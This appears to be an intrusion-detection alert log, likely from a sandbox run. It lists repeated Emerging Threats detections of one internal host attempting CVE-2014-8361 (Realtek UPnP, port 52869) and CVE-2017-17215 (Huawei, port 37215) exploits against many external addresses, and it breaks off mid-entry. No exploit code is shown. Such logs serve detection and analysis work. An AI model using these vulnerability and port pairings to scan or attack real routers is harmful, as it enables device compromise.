ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.61.181.140

Timestamp:	07/20/24-23:01:51.354566
SID:	2025132
Source Port:	48434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.0.247.159

Timestamp:	07/20/24-23:01:42.536855
SID:	2027339
Source Port:	60210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.48.65.201

Timestamp:	07/20/24-23:01:43.596881
SID:	2025132
Source Port:	35476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.174.229.249

Timestamp:	07/20/24-23:01:42.014835
SID:	2025132
Source Port:	55010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.196.57.80

Timestamp:	07/20/24-23:01:10.550846
SID:	2025132
Source Port:	52846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.118.38.95

Timestamp:	07/20/24-23:01:24.885849
SID:	2829579
Source Port:	33952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.210.158

Timestamp:	07/20/24-23:01:02.054387
SID:	2829579
Source Port:	44574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.165.99.108

Timestamp:	07/20/24-23:01:54.562310
SID:	2027339
Source Port:	57736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.40.207.17

Timestamp:	07/20/24-23:02:05.476791
SID:	2027339
Source Port:	56214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.15.191.58

Timestamp:	07/20/24-23:01:42.647416
SID:	2027339
Source Port:	58418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.12.83.193

Timestamp:	07/20/24-23:01:10.987935
SID:	2027339
Source Port:	36258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.1.92.156

Timestamp:	07/20/24-23:01:45.109958
SID:	2027339
Source Port:	51562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.85.208.126

Timestamp:	07/20/24-23:01:44.520254
SID:	2025132
Source Port:	59858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.20.172.49

Timestamp:	07/20/24-23:01:25.288586
SID:	2025132
Source Port:	33274
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 124.144.192.144

Timestamp:	07/20/24-23:01:08.582150
SID:	2831300
Source Port:	50930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.119.219.206

Timestamp:	07/20/24-23:01:04.100971
SID:	2829579
Source Port:	39282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.1.124.246

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	35020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.188.148.79

Timestamp:	07/20/24-23:01:54.053348
SID:	2831300
Source Port:	48152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.0.161.120

Timestamp:	07/20/24-23:01:59.707284
SID:	2025132
Source Port:	55918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.157.163.186

Timestamp:	07/20/24-23:01:31.320679
SID:	2831300
Source Port:	60890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.169.65.78

Timestamp:	07/20/24-23:01:44.468208
SID:	2025132
Source Port:	50766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.213.222.122

Timestamp:	07/20/24-23:01:54.930155
SID:	2027339
Source Port:	40160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.182.118.208

Timestamp:	07/20/24-23:01:42.499887
SID:	2027339
Source Port:	42864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.147.36.143

Timestamp:	07/20/24-23:01:46.893328
SID:	2027339
Source Port:	47168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.28.215.223

Timestamp:	07/20/24-23:01:54.957644
SID:	2027339
Source Port:	59666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.51.58.185

Timestamp:	07/20/24-23:01:42.890948
SID:	2027339
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.228.135.229

Timestamp:	07/20/24-23:01:53.267116
SID:	2027339
Source Port:	57100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.117.206.184

Timestamp:	07/20/24-23:01:01.406953
SID:	2025132
Source Port:	43978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.41.122.187

Timestamp:	07/20/24-23:00:59.185032
SID:	2835222
Source Port:	36304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.212.169.191

Timestamp:	07/20/24-23:01:43.622289
SID:	2831300
Source Port:	42376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.188.193.15

Timestamp:	07/20/24-23:01:09.021221
SID:	2027339
Source Port:	49184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.85.212.42

Timestamp:	07/20/24-23:01:52.569791
SID:	2027339
Source Port:	52506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.210.7.241

Timestamp:	07/20/24-23:01:43.489480
SID:	2831300
Source Port:	53146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.86.139.164

Timestamp:	07/20/24-23:01:08.607816
SID:	2831300
Source Port:	48736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.243.46

Timestamp:	07/20/24-23:01:27.655551
SID:	2829579
Source Port:	34602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.168.75.104

Timestamp:	07/20/24-23:01:42.519318
SID:	2027339
Source Port:	53592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.40.199.176

Timestamp:	07/20/24-23:02:02.632381
SID:	2027339
Source Port:	43208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.49.55.120

Timestamp:	07/20/24-23:01:14.103467
SID:	2835222
Source Port:	59180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 193.53.98.68

Timestamp:	07/20/24-23:01:11.634077
SID:	2835222
Source Port:	35526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.16.79.3

Timestamp:	07/20/24-23:01:31.323042
SID:	2831300
Source Port:	43226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.224.244.226

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	39268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.170.107.7

Timestamp:	07/20/24-23:01:41.467111
SID:	2027339
Source Port:	55928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:50.257796
SID:	2025132
Source Port:	39230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.198.36

Timestamp:	07/20/24-23:01:06.996055
SID:	2829579
Source Port:	32826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 150.244.11.188

Timestamp:	07/20/24-23:01:06.973541
SID:	2835222
Source Port:	42644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.42.95.98

Timestamp:	07/20/24-23:01:34.045749
SID:	2829579
Source Port:	43242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.42.114.149

Timestamp:	07/20/24-23:01:26.010869
SID:	2027339
Source Port:	55142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.174.61.133

Timestamp:	07/20/24-23:01:02.104572
SID:	2835222
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.84.55.40

Timestamp:	07/20/24-23:01:27.655551
SID:	2829579
Source Port:	44916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 204.16.50.125

Timestamp:	07/20/24-23:01:44.728463
SID:	2025132
Source Port:	52602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.234.190.125

Timestamp:	07/20/24-23:01:43.185498
SID:	2027339
Source Port:	37436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.12.83.193

Timestamp:	07/20/24-23:01:12.813695
SID:	2027339
Source Port:	36740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.68.37.27

Timestamp:	07/20/24-23:01:42.812448
SID:	2027339
Source Port:	52854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.41.166

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	46260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.162.41.254

Timestamp:	07/20/24-23:01:31.975513
SID:	2829579
Source Port:	32976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 217.234.58.254

Timestamp:	07/20/24-23:01:11.816521
SID:	2835222
Source Port:	38808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.129.208

Timestamp:	07/20/24-23:00:59.168569
SID:	2829579
Source Port:	48142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.172.21.105

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	54716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.167.45.35

Timestamp:	07/20/24-23:01:42.470759
SID:	2831300
Source Port:	57332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.66.223.29

Timestamp:	07/20/24-23:01:21.966302
SID:	2835222
Source Port:	43454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.178.228.43

Timestamp:	07/20/24-23:01:42.944341
SID:	2027339
Source Port:	51422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.181.137.93

Timestamp:	07/20/24-23:01:44.602081
SID:	2027339
Source Port:	52140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.243.3.110

Timestamp:	07/20/24-23:01:34.044417
SID:	2835222
Source Port:	54706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 100.41.144.113

Timestamp:	07/20/24-23:01:13.204741
SID:	2025132
Source Port:	52070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.74.163.138

Timestamp:	07/20/24-23:01:56.950526
SID:	2027339
Source Port:	39512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.116.9.186

Timestamp:	07/20/24-23:01:42.072139
SID:	2027339
Source Port:	56536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.210.17.223

Timestamp:	07/20/24-23:01:42.608320
SID:	2027339
Source Port:	38496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.63.115.173

Timestamp:	07/20/24-23:01:09.027075
SID:	2831300
Source Port:	32880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.155.124.93

Timestamp:	07/20/24-23:01:27.660099
SID:	2829579
Source Port:	57116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.147.165.127

Timestamp:	07/20/24-23:01:12.841280
SID:	2027339
Source Port:	46040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 62.86.14.116

Timestamp:	07/20/24-23:01:11.816277
SID:	2829579
Source Port:	44124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.115.165

Timestamp:	07/20/24-23:01:06.975117
SID:	2835222
Source Port:	52270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.232.41

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 141.121.89.226

Timestamp:	07/20/24-23:01:14.090830
SID:	2835222
Source Port:	55006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 165.70.37.218

Timestamp:	07/20/24-23:01:20.175900
SID:	2835222
Source Port:	50092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 79.233.85.196

Timestamp:	07/20/24-23:01:11.817298
SID:	2835222
Source Port:	40146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.13.167.32

Timestamp:	07/20/24-23:01:58.249042
SID:	2025132
Source Port:	53186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.76.243.3

Timestamp:	07/20/24-23:01:08.606848
SID:	2831300
Source Port:	39260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.39.87.115

Timestamp:	07/20/24-23:01:43.085956
SID:	2025132
Source Port:	57422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 200.248.84.13

Timestamp:	07/20/24-23:01:45.591520
SID:	2831300
Source Port:	53006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.166.152.235

Timestamp:	07/20/24-23:01:13.310941
SID:	2027339
Source Port:	34298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.239.10.111

Timestamp:	07/20/24-23:00:59.191389
SID:	2829579
Source Port:	56072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.254.84.115

Timestamp:	07/20/24-23:01:04.236014
SID:	2025132
Source Port:	60634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 126.151.179.206

Timestamp:	07/20/24-23:01:07.026812
SID:	2835222
Source Port:	47382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.231.162.161

Timestamp:	07/20/24-23:01:25.509340
SID:	2025132
Source Port:	56156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.34.69.120

Timestamp:	07/20/24-23:01:02.085856
SID:	2027339
Source Port:	56566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 116.187.119.26

Timestamp:	07/20/24-23:01:07.033766
SID:	2835222
Source Port:	55630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.54.172.151

Timestamp:	07/20/24-23:01:44.464382
SID:	2025132
Source Port:	60510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 46.141.217.184

Timestamp:	07/20/24-23:01:43.058685
SID:	2025132
Source Port:	60424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.40.68.243

Timestamp:	07/20/24-23:01:42.165780
SID:	2027339
Source Port:	57706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.173.38.241

Timestamp:	07/20/24-23:01:02.259207
SID:	2025132
Source Port:	55498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.213.243.211

Timestamp:	07/20/24-23:01:20.152427
SID:	2829579
Source Port:	53950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 20.44.163.254

Timestamp:	07/20/24-23:01:41.758923
SID:	2831300
Source Port:	58628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.253.92.60

Timestamp:	07/20/24-23:01:43.141970
SID:	2027339
Source Port:	56970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 73.161.205.249

Timestamp:	07/20/24-23:01:56.447869
SID:	2831300
Source Port:	55486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.206.228.107

Timestamp:	07/20/24-23:02:02.527007
SID:	2025132
Source Port:	47348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.180.1.65

Timestamp:	07/20/24-23:01:58.688552
SID:	2025132
Source Port:	37880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 98.137.112.190

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	48950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 128.197.233.56

Timestamp:	07/20/24-23:01:43.380019
SID:	2831300
Source Port:	49674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.83.41.173

Timestamp:	07/20/24-23:00:59.168569
